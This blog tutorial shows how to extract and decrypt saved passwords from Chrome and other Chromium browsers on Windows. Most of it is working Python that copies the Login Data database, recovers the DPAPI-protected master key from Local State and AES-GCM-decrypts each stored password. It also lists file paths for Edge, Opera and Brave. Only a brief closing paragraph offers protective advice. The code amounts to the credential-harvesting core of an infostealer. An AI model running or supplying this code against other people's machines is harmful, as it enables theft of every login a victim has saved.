How To Extract Saved Passwords From Chromium Engine Browsers
Getting Started
Have you ever thought that your Chrome browser's password storage might be vulnerable to security breaches? Well, the answer is a resounding "Yes". Any individual with access to your computer can easily decrypt and extract all of your stored passwords in seconds. This alarming discovery might lead you to rethink trusting your browser's password manager and take appropriate security measures to safeguard your sensitive information. After reading this post, you may find yourself questioning the reliability of your browser's password manager.
In this blog post, we'll walk through the steps to extract saved passwords from Google Chrome, as well as offer some tips on how to protect your passwords.
Usage of Password Managers in the modern world
As technology advances, it's becoming more and more difficult to remember all the different passwords we use to access our online accounts. That's why many of us rely on password managers, such as the one built into Google Chrome, to save our login credentials for us. While this can be a convenient feature, it also means that if someone gains access to our computer, they may be able to extract those saved passwords.
Understanding how Chrome Saves Passwords
While using Chromes password manager when a login is detected in Chrome it will prompt you to save your password in the Chrome vault if you are allowed to save it then it is saved in Chromes sqlite db that is located in the user %LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data
or in the C:\\Users\\[username]\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data
The login data file is an SQLite database file and the password are stored using the insert query. Note that If the user has multiple profiles the passwords will be stored under the %LOCALAPPDATA%\\Google\\Chrome\\User Data\\[Profile Name]\\Login Data.
Viewing the data in the database
As I told you above the database is in sqlite3 and the login credentials Will be stored in a table named logins.
Here are some of the useful data stored in the database in the logins table.
origin_url - main url of the website
action_url - login url of the website
username_element - name of the username field in the website
username_value - username used for login
password_element - name of the password field in the website
password_value - password used for login (encrypted)
date_created - date when it is stored
times_used - how many times this password is used
blacklisted_by_user - set to 1 means password is never stored
submit_element -name or ID of the HTML element that is used to submit the login form
Extracting the Data
As you see above all the data in the logins table is put in plain text except for the password first let’s extract useful info and we will continue to the password. Here’s a simple Python script to extract the data.
import sqlite3
import shutil
def main():
# Chrome database path
db_path = os.path.join(os.environ["LOCALAPPDATA"], "Google", "Chrome", "User Data", "Default", "Login Data")
# copy the file to another location because the database will be locked if chrome is currently running
filename = "data.db"
shutil.copyfile(db_path, filename)
# connect to the database
db = sqlite3.connect(filename)
cursor = db.cursor()
# `logins` table has the data we need
cursor.execute("select origin_url, action_url, username_value, password_value from logins order by date_created")
# iterate over all rows
for row in cursor.fetchall():
origin_url = row[0]
action_url = row[1]
username = row[2]
password =row[3]
if username or password:
print(f"Origin URL: {origin_url}")
print(f"Action URL: {action_url}")
print(f"Username: {username}")
print(f"Password: {password}")
cursor.close()
db.close()
try:
# try to remove the copied db file
os.remove(filename)
except:
pass
if __name__ == "__main__":
main()
After running the code mentioned above to extract information from the Chrome SQLite database, you will notice that the password is not included in the output. This is because the password is stored in an encrypted form in the database as a blob, resulting in a meaningless hexadecimal output. To obtain the actual password, we must decrypt it. However, before doing so, it is necessary to understand how Chrome stores passwords in the first place.
How Passwords and Encrypted in Chromium Engine Browsers
In Chrome versions that are less than 80, the password is encrypted using the Windows Data Protection API DPAPI
Function CryptProtectData
uses the computer’s private key to encrypt or decrypt the data. So the data can be only decrypted only on that computer.
When we come to Chrome version’s that are above 80 Chrome introduced and new strong password encryption mechanism the passwords are encrypted using a master key in a JSON file that is located in %LOCALAPPDATA%\\Google\\Chrome\\User Data\\Local State
or in the C:\\Users\\[username]\\AppData\\Local\\Google\\Chrome\\User Data\\Local State
To Generate the Master Key it generates 32-byte random data. Then it is encrypted using Windows DPAPI Function CryptProtectData
. Then inserts the signature “DPAPI” at the beginning of the encrypted random byte for identification. Finally, this key is encoded using Base64 and stored in the “Local State” file.
Here’s How the Master Key May Look Like.
"os_crypt":{"encrypted_key":"FBCDHVBDHFBVJDA0RGbegD...irgpsxEv3TKNqz0HVBJHBBHBbh"},
Now to store the web login password, Chrome encrypts it using the AES-256-GCM algorithm with the above master key and 12-byte random IV data. Finally, it inserts a 3-byte signature “v10” into the encrypted password and stores it in the “Login Data” file.
Below is the structure of the new encrypted password,
struct Password
{
BYTE signature[3] = "v10";
BYTE iv[12];
BYTE encPassword[...]
}
Decrypting The Passwords
To retrieve the encrypted passwords, we must reverse the process by parsing the master password from the Local State file, decoding the base64, and removing the DPAPI signature. To accomplish this, we can use a simple Python function that extracts the "os_crypt"
value from the Local State JSON file, removes the DPAPI signature and runs the CryptUnprotectData
function to return the decrypted password.
def getmasterpassword():
local_state_path = os.path.join(os.environ["LOCALAPPDATA"], "Google", "Chrome","User Data", "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
# decode the encryption key from Base64
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
# remove DPAPI str
key = key[5:]
# Decrypt and Return the master password
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
Having obtained the master password, we can now decrypt the encrypted passwords. First, we need to remove the v10 signature and extract the 12-byte random iv and the encrypted password. Then, we can use the AES-256-GCM
algorithm and the master password to decrypt the password.
To perform this decryption process, we can use the below function that takes the encrypted password and the master password as arguments and returns the decrypted password.
def decrypt_password(password, key):
try:
# extract the initialization vector
iv = password[3:15]
# extract the password
password = password[15:]
# generate cipher
cipher = AES.new(key, AES.MODE_GCM, iv)
# decrypt password
return cipher.decrypt(password)[:-16].decode()
except:
try:
# For chromium less than 80
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
# not supported
return ""
Using this in other Chromium Engine Browsers
If you intend to extract passwords from other Chromium engine browsers, you will need to modify the database and Local State location accordingly. Below are the database and local state locations for some commonly used Chromium engine browsers.
Microsoft Edge
Login Data :
%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data
Local State :
%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Local State
Opera
Login Data :
%APPDATA%\\Opera Software\\Opera Stable\\Login Data
Local State :
%APPDATA%\\Opera Software\\Opera Stable\\Local State
Brave
Login Data :
%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data
Local State :
%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data\\Local State
You can find the full code on my GitHub Repo.
Concluding
As shown above, you've seen how easy it is to extract passwords from Chromium engine browsers.
To protect your sensitive information, use a password manager, enable two-factor authentication, keep your software up-to-date, and monitor your online accounts. These measures will enhance your defense against cyber threats and safeguard your data.
References
https://learn.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectdata
http://timgolden.me.uk/pywin32-docs/win32crypt.html
https://docs.python.org/3/library/shutil.html
https://xenarmor.com/how-to-recover-saved-passwords-google-chrome/
Subscribe to my newsletter
Read articles from Musab Tatek directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by